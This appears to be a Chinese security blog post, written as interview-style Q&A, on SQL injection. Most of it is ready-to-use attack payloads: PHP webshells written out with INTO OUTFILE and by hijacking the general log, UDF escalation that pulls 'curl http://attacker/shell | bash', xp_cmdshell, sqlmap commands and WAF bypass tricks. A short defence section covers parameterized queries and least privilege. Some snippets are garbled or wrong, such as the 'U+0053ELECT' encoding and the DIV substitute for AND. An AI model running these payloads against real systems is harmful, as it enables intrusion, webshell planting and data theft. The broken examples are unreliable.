网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
SQLi
一、发现test.jsp?cid=150 注入点的5种WebShell获取思路
1. 文件写入攻击
2. 日志文件劫持
3. UDF提权执行命令
4. 二次注入组合攻击
5. 存储过程滥用(MSSQL场景)
二、工具直接写入WebShell的条件要求
三、MySQL 5.0+与5.0-版本注入差异对比
1. 元数据获取方式
2. 盲注技术差异
3. 函数支持对比
四、SQLMap实战注入方法
1. GET型注入检测
3. 文件加载式注入
五、SQL注入Bypass技巧大全
1. 特殊符号混淆
2. 编码转换技术
3. 逻辑等价替换
4. 参数污染攻击
5. 数据库特性利用
六、SQL注入成因与防御体系
1. 漏洞成因
2. 防御方案
3. 注入类型扩展
4. 非数据利用方式
七、宽字符注入深度解析
1. 漏洞原理
2. Payload构造
3. 修复方案
八、SQL注入判断方法论
1. 基础检测技巧
2. 高级检测手段
3. 工具自动化检测
九、变形注入突破思路
1. 编码转换技术
2. 语法结构混淆
3. 协议层绕过
SQLi
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell? 以下链接存在 SQ,用工具对目标站直接写入一句话,需要哪些条件? Mysql的网站注入,5.0以上和5.0以下有什么区别? sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包? 你都了解哪些SQL注入的bypass技巧? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 如何判断SQL注入,有哪些方法,说说你最常用的? L注入漏洞,对于这个变形注入,你有什么思路? mysql注入点
一、发现
test.jsp?cid=150
注入点的5种WebShell获取思路1. 文件写入攻击
前置条件
- MySQL用户具备
FILE
权限- 已知Web目录绝对路径(如
/var/www/html
)secure_file_priv
未限制写入路径Payload构造
sql
UNION SELECT 1,"<?php @eval($_POST['cmd']);?>",3 INTO OUTFILE '/var/www/shell.php' -- 使用CHAR编码绕过过滤: UNION SELECT 1,CHAR(60,63,112,104,112...),3 INTO OUTFILE '/path/shell.php'
2. 日志文件劫持
操作流程
sql
SET global general_log = 'ON'; SET global general_log_file = '/var/www/log.php'; SELECT '<?php system($_GET["cmd"]);?>'; -- 触发日志记录后访问/log.php?cmd=id
3. UDF提权执行命令
技术链
bash
# 上传恶意so文件到插件目录(需lib_mysqludf_sys.so ) wget http://attacker/udf.so -P /usr/lib/mysql/plugin/ CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so'; SELECT sys_exec('curl http://attacker/shell | bash');
4. 二次注入组合攻击
场景示例
- 通过注入修改用户信息字段为恶意代码
sql
UPDATE profile SET bio='<?php eval($_POST[x]);?>' WHERE uid=1001
- 触发用户信息导出功能生成
bio_1001.php
5. 存储过程滥用(MSSQL场景)
sql
EXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^ > C:\web\shell.aspx'
二、工具直接写入WebShell的条件要求
条件类型 具体要素 验证方法 数据库权限 FILE
权限(SELECT file_priv FROM mysql.user
)sqlmap --sql-shell
执行查询路径可控性 secure_file_priv
值为空或包含Web目录SHOW VARIABLES LIKE 'secure%';
物理路径泄露 通过报错信息/phpinfo探针获取 构造错误 ?id=1 AND 1=2
触发报错字符处理绕过 引号闭合与编码转换 使用Hex编码 0x3c3f706870...
WAF防御规避 分块传输+注释符混淆 sqlmap --tamper=chunked
三、MySQL 5.0+与5.0-版本注入差异对比
1. 元数据获取方式
- 5.0+:通过
information_schema
快速获取表结构sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- 5.0-:需暴力猜解表名(如
admin/user/article
)2. 盲注技术差异
- 5.0+:利用
BENCHMARK()
制造延时sql
IF(SUBSTR((SELECT password),1,1)='a',BENCHMARK(5000000,MD5('test')),0)
- 5.0-:依赖布尔响应差异
3. 函数支持对比
功能 5.0+支持 5.0-限制 文件读写 LOAD_FILE()
可用依赖特殊配置 系统命令执行 需UDF或存储过程 基本不可行 报错信息利用 updatexml()
触发仅支持简单错误回显
四、SQLMap实战注入方法
1. GET型注入检测
bash
sqlmap -u "http://site.com/test.jsp?cid=150" --batch --technique=BEUST -- 参数说明: -- `-batch`:自动选择默认选项 -- `--technique`:指定注入技术(B:布尔盲注/E:报错注入/U:联合查询/S:时间盲注/T:基于时间) #### 2. POST型注入操作 ```bash sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --method=POST -- 高级用法: sqlmap -r request.txt --proxy="http://127.0.0.1:8080" --risk=3 --level=5
3. 文件加载式注入
bash
# 保存请求到request.txt (包含Cookie和POST数据) sqlmap -r request.txt --dbs
五、SQL注入Bypass技巧大全
1. 特殊符号混淆
sql
SELECT/*![40000 1,*/2,3 FROM users WHERE id=1--%0a -- 使用内联注释绕过关键字过滤
2. 编码转换技术
- URL编码:
UNION%20SELECT
→UNION SELECT
- Unicode编码:
U+0053ELECT
→SELECT
- 双重编码:
%2553ELECT
→SELECT
3. 逻辑等价替换
sql
WHERE id=1 || 1=1 -- 替代OR 1=1 WHERE id=1 DIV 1 -- 替代AND 1=1
4. 参数污染攻击
http
GET /test?id=1&id=2 UNION SELECT 1,@@version,3
5. 数据库特性利用
sql
/*!50000SELECT*/ 1 FROM users -- MySQL版本条件执行
六、SQL注入成因与防御体系
1. 漏洞成因
- 直接拼接:
"SELECT * FROM users WHERE id=" + request.getParameter("id")
- 错误处理不当:显示数据库错误信息(如MySQL错误栈)
2. 防御方案
- 输入过滤:
python
# Python示例:参数化查询 cursor.execute("SELECT * FROM users WHERE id=%s", (user_input,))
- 最小权限原则:
sql
GRANT SELECT ON db.users TO 'webuser'@'%'; REVOKE FILE,EXECUTE ON *.* FROM'webuser'@'%';
3. 注入类型扩展
类型 检测方法 利用场景 联合查询注入 ORDER BY
测试列数快速获取数据 报错注入 AND 1=updatexml(1,concat(0x7e,version()),1)
信息泄露 时间盲注 IF(1=1,SLEEP(5),0)
无回显场景 4. 非数据利用方式
- 文件系统操作:
sql
LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd'
- 系统命令执行(需条件):
sql
sys_exec('rm -rf /tmp/*')
七、宽字符注入深度解析
1. 漏洞原理
GBK编码中
%bf%5c
会被解析为汉字"縗",导致单引号逃逸:
- 原始输入:
id=1%bf'
- 转义后:
1縗'
(%bf%5c%27
→縗'
)2. Payload构造
http
http://site.com/test.php?id=1%bf%27%20AND%201=1%20--+ -- 解码后等价于:id=1' AND 1=1 --
3. 修复方案
- 统一字符集:
php
mysqli_set_charset($conn, "utf8mb4");
- 过滤策略:
php
$id = preg_replace('/[^\x00-\x7F]/', '', $_GET['id']);
八、SQL注入判断方法论
1. 基础检测技巧
- 单引号测试:
http://site.com/?id=1'
→ 观察是否出现数据库错误- 布尔逻辑检测:
?id=1 AND 1=1
vs?id=1 AND 1=2
→ 页面内容差异2. 高级检测手段
- 时间盲注探测:
sql
IF(SUBSTR((SELECT password),1,1)='a',SLEEP(5),0)
- 报错注入利用:
sql
AND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)
3. 工具自动化检测
bash
sqlmap -u "http://site.com/test.jsp?cid=150" --batch --forms
九、变形注入突破思路
1. 编码转换技术
- Hex编码绕过:
sql
SELECT 0x73656C656374 FROM users -- 等价于"SELECT"
- Base64解码利用:
sql
SELECT FROM_BASE64('c2VsZWN0') AS cmd;
2. 语法结构混淆
sql
SELECT 1 FROM users WHERE id=1||1=1 -- 替代OR 1=1
3. 协议层绕过
http
POST /test HTTP/1.1 Transfer-Encoding: chunked 1 id=1 UNION/* 0 SELECT 1,2,3 FROM users